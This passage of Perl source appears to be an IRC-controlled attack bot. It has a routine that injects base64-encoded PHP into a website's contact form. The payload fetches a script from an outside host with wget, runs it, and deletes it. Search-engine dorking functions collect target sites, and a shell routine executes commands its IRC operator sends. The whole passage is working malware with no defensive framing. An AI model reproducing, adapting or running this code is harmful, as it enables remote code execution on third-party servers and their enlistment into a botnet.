  695.     my $code = "ICRjbWQ9ImNkIC90bXA7d2dldCBodHRwOi8vMHg2OS5uZXQvbG9nO3BlcmwgbG9nO3BlcmwgbG9nO3JtIC1yZiBsb2ciOw0KJGVzZWd1aWNtZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnOw0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9IA==";
  696.     my $req = HTTP::Request->new(POST => $url);
  697.     $req->content_type('application/x-www-form-urlencoded');
  698.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'));die;[/php]");
  699.     my $ua = LWP::UserAgent->new(agent => $uagent);
  700.     $ua->timeout(10);
  701.     my $res = $ua->request($req);
  702. }
  703.  
  704. ######################################### SEARCH ENGINE
  705.  
  706. sub google() {
  707.     my @list;
  708.     my $key = $_[0];
  709.     for (my $i=0; $i<=1000; $i+=100){
  710.         my $search = ("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$i);
  711.         my $res = search_engine_query($search);
  712.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  713.             my $link = $1;
  714.             if ($link !~ /google/){
  715.                 my @grep = links($link);
  716.                 push(@list,@grep);
  717.             }
  718.         }
  719.     }
  720.     return @list;
  721. }
  722.  
  723. sub alltheweb() {
  724.     my @list;
  725.     my $key = $_[0];
  726.     for (my $i=0; $i<=1000; $i+=100) {
  727.         my $search = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  728.         my $res = search_engine_query($search);
  729.         while ($res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g) {
  730.             my $link = $1;
  731.             $link =~ s/ //g;
  732.             my @grep = links($link);
  733.             push(@list,@grep);
  734.         }
  735.     }
  736.     return @list;
  737. }
  738.  
  739. sub uol() {
  740.     my @list;
  741.     my $key = $_[0];
  742.     for (my $i=1; $i<=1000; $i+=10) {
  743.         my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$i);
  744.         my $res = search_engine_query($search);
  745.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  746.             my $link = $1;
  747.             if ($link !~ /busca|uol|yahoo/) {
  748.                 my @grep = links($link);
  749.                 push(@list,@grep);
  750.             }
  751.         }
  752.     }
  753.     return @list;
  754. }
  755.  
  756. sub bing() {
  757.     my @list;
  758.     my $key = $_[0];
  759.     for (my $i=1; $i<=1000; $i+=10) {
  760.         my $search = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$i."&FORM=PERE");
  761.         my $res = search_engine_query($search);
  762.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  763.             my $link = $1;
  764.             if ($link !~ /msn|live|bing/) {
  765.                 my @grep = links($link);
  766.                 push(@list,@grep);
  767.             }
  768.         }
  769.     }
  770.     return @list;
  771. }
  772.  
  773. sub altavista() {
  774.     my @list;
  775.     my $key = $_[0];
  776.     for (my $i=1; $i<=1000; $i+=10){
  777.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$i);
  778.         my $res = search_engine_query($search);
  779.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  780.             my $link = $1;
  781.             if ($link !~ /altavista/){
  782.                 $link =~ s/<//g;
  783.                 $link =~ s/ //g;
  784.                 my @grep = links($link);
  785.                 push(@list,@grep);
  786.             }
  787.         }
  788.     }
  789.     return @list;
  790. }
  791.  
  792. sub ask() {
  793.     my @list;
  794.     my $key = $_[0];
  795.     for (my $i=0; $i<=1000; $i+=10) {
  796.         my $search = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$i);
  797.         my $res = search_engine_query($search);
  798.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  799.             my $link = $1;
  800.             if ($link !~ /ask\.com/){
  801.                 my @grep = links($link);
  802.                 push(@list,@grep);
  803.             }
  804.         }
  805.     }
  806.     return @list;
  807. }
  808.  
  809. sub yahoo() {
  810.     my @list;
  811.     my $key = $_[0];
  812.     for (my $i=1; $i<=500; $i+=1) {
  813.         my $search = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$i);
  814.         my $res = search_engine_query($search);
  815.         while ($res =~ m/26u=(.*?)%26w=/g) {
  816.             my $link = $1;
  817.             if ($link!~ /yahoo/){
  818.                 my @grep = links($link);
  819.                 push(@list,@grep);
  820.             }
  821.         }
  822.     }
  823.     return @list;
  824. }
  825.  
  826. #########################################
  827.  
  828. sub clean() {
  829.     my @cln = ();
  830.     my %visit = ();
  831.     foreach my $element (@_) {
  832.         $element =~ s/\/+/\//g;
  833.         next if $visit{$element}++;
  834.         push @cln, $element;
  835.     }
  836.     return @cln;
  837. }
  838.  
  839. sub key() {
  840.     my $dork = $_[0];
  841.     $dork =~ s/ /\+/g;
  842.     $dork =~ s/:/\%3A/g;
  843.     $dork =~ s/\//\%2F/g;
  844.     $dork =~ s/&/\%26/g;
  845.     $dork =~ s/\"/\%22/g;
  846.     $dork =~ s/,/\%2C/g;
  847.     $dork =~ s/\\/\%5C/g;
  848.     return $dork;
  849. }
  850.  
  851. sub links() {
  852.     my @list;
  853.     my $link = $_[0];
  854.     my $host = $_[0];
  855.     my $hdir = $_[0];
  856.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  857.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  858.     $host .= "/";
  859.     $link .= "/";
  860.     $hdir .= "/";
  861.     $host =~ s/\/\//\//g;
  862.     $hdir =~ s/\/\//\//g;
  863.     $link =~ s/\/\//\//g;
  864.     push(@list,$link,$host,$hdir);
  865.     return @list;
  866. }
  867.  
  868. sub search_engine_query() {
  869.     my $url = $_[0];
  870.     $url =~ s/http:\/\///;
  871.     my $host = $url;
  872.     my $query = $url;
  873.     my $page  = "";
  874.     $host =~ s/href=\"?http:\/\///;
  875.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  876.     $query =~ s/$host//;
  877.     if ($query eq "") { $query = "/"; }
  878.         eval {
  879.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  880.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  881.             my @pages = <$sock>;
  882.             $page = "@pages";
  883.             close($sock);
  884.         };
  885.     return $page;
  886. }
  887.  
  888. #########################################
  889.  
  890. sub shell() {
  891.     my $path = $_[0];
  892.     my $cmd = $_[1];
  893.     if ($cmd =~ /cd (.*)/) {
  894.         chdir("$1") || &msg("$path","No such file or directory");
  895.         return;
  896.     }
  897.     elsif ($pid = fork) { waitpid($pid, 0); }
  898.     else { if (fork) { exit; } else {
  899.         my @output = `$cmd 2>&1 3>&1`;
  900.         my $c = 0;
  901.         foreach my $output (@output) {
  902.             $c++;
  903.             chop $output;
  904.             &msg("$path","$output");
  905.             if ($c == 5) { $c = 0; sleep 3; }
  906.         }
  907.         exit;
  908.     }}
  909. }
  910.  
  911. sub isAdmin() {
  912.     my $status = 0;
  913.     my $nick = $_[0];
  914.     if ($nick eq $admin) { $status = 1; }
  915.     return $status;
  916. }
  917.  
  918. sub msg() {
  919.     return unless $#_ == 1;
  920.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  921. }
  922.  
  923. sub nick() {
  924.     return unless $#_ == 0;
  925.     sendraw("NICK $_[0]");
  926. }
  927.  
  928. sub notice() {
  929.     return unless $#_ == 1;
  930.     sendraw("NOTICE $_[0] :$_[1]");
  931. }